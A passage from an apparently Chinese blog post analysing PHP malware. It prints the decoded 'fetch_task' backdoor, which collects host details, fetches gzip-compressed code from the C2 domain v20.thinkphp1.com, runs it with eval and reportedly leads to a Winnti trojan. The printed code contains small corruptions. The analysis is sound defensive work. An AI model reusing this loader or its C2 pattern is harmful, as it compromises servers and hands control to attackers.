JpMTAiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAgDQogICAgICAgIHB1YmxpYyBmdW5jdGlvbiBmZXRjaCgpDQogICAgICAgIHsNCiAgICAgICAgICAgICRnej1mdW5jdGlvbl9leGlzdHMoImd6dW5jb21wcmVzcyIpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgDQogICAgICAgICAgICAkaGRhdGFbJ2d6J109JGd6Ow0KICAgICAgICAgICAgJGhkYXRhWydfdCddPXRpbWUoKTsNCiAgICAgICAgICAgICR1cmw9J2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvZmV0Y2g/Jy5odHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkZGF0YT1AZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgICAgICAgICBpZigkZGF0YSAmJiAkZ3opJGRhdGE9QGd6dW5jb21wcmVzcygkZGF0YSk7DQogICAgICAgICAgICByZXR1cm4gJGRhdGE7DQogICAgICAgIH0NCiAgICB9Ow0KfTs=';
    $code=base64_decode($code);
    $code.=";fetch_task::run_static();";
    return $this->process->start_php_process($code);
}

在函数fetch_code_and_run​中设定Fetch_task​每小时执行一次，这个地方的$code​我们不能直接复制出来解密，将+​换行解密，得到：

if(!class_exists("fetch_task"))
{
    class fetch_task
    {
        private $is_root=false;

        public function __construct()
        {
            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $this->is_root=($uid===0);
        }

        public function run_in_fork()
        {
            if(!function_exists("pcntl_fork") || !function_exists("pcntl_waitpid") )return false;

            $code=$this-fetch();
            $this->__write_task_time_file(true);
            if(!$code)
            {
                return true;
            }

            $pid=pcntl_fork();
            if($pid==0)
            {
                if(pcntl_fork())exit(0);
                try{
                    @eval($code);

                }catch(\Exception $e){$this-post_error($e);}catch(\Throwable $e){$this->post_error($e);}

                exit(0);
            }else if($pid0)
            {
                pcntl_waitpid($pid,$s);

                return true;
            }else if($pid<0)
            {
                return false;
            }
        }

        public static function run_static()
        {
            $task=new fetch_task();
            $code=$task->fetch();
            $task->__write_task_time_file(true);
            if(!$code)return true;

            try{
                @eval($code);

            }catch(\Exception $e){$task->post_error($e);}catch(\Throwable $e){$task-post_error($e);}

            return true;
        }

        function make_base_params()
        {

            $sname=php_sapi_name();

            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $os=defined("PHP_OS")?@constant("PHP_OS"):"";
            $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');

            $sfile='/sess_zziudbrorkdadhip90v9jmj';$sfile[2]='s';$sfile[3]='e';
            $sfile=sys_get_temp_dir().$sfile;

            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            $is_win=( strtolower(substr($os, 0, 3))=="win" );
            if($is_win&&$user)
            {
                $pfile.=$user;
                $sfile.=$user;
            }
            $hid = @intval(file_get_contents($sfile."hid"));
            if(!$hid)$hid = @intval(file_get_contents($pfile."hid"));

            $hdata=array("host_id"=>$hid,"host_uid"=>$uid,"host_version"=>php_uname(),"host_os"=$os,"host_name"=>gethostname(),"sapi_name"=>$sname,"php_version"=phpversion());
            return $hdata;       
        }

        private $next_error_time=0;
        function post_error($e)
        {
            if(time()<$this->next_error_time)return "";
            $this-next_error_time=time()+7200;

            $e=strval($e);

            $hdata=$this->make_base_params();
            $hdata['msg']=array("title"=>"cli.error","content"=strval($e));

            $postdata = http_build_query($hdata);
            $options = array(
              'http' => array(
                'method' => 'POST',
                'header' => 'Content-type:application/x-www-form-urlencoded',
                'content' => $postdata,
                'timeout' => 15 
              )
            );

            $context = stream_context_create($options);
            $result = @file_get_contents('http://v20.thinkphp1.com/v20/save?', false, $context);
            return $result;
        }

        function __write_task_time_file($disable_cgi=false)
        {
            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            if( strtolower(substr(PHP_OS, 0, 3))=="win" )
            {
                $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');
                if($user)
                {
                    $this->__write_to_time_file($pfile,$disable_cgi);
                    $pfile.=$user;
                }
            }

            $this->__write_to_time_file($pfile,$disable_cgi);
        }

        function __write_to_time_file($pfile,$disable_cgi=false)
        {

            if($this->is_root)
            {
                $file=$pfile."i11";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                $file=$pfile."i10";
                if(file_exists($file))@file_put_contents($file,time()+7200*2);
                if($disable_cgi)
                {
                    $file=$pfile."i01";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);

                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }else
            {
                $file=$pfile."i10";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                if($disable_cgi)
                {
                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }
        }

        public function fetch()
        {
            $gz=function_exists("gzuncompress");

            $hdata=$this->make_base_params();

            $hdata['gz']=$gz;
            $hdata['_t']=time();
            $url='http://v20.thinkphp1.com/v20/fetch?'.http_build_query($hdata);
            $data=@file_get_contents($url);
            if($data && $gz)$data=@gzuncompress($data);
            return $data;
        }
    };
};

解密后发现是向远程服务器http://v20.thinkphp1.com/v20/fetch​请求gzuncompress​解压执行。

​image​

​image​

通过请求php-fpm​来下载 winnti 后门木马：

​image​

于今年3月捕获，IP：156.251.163.120:443​

​image​

Post Views: 699

发布者

AndyNoel

一杯未尽，离怀多少。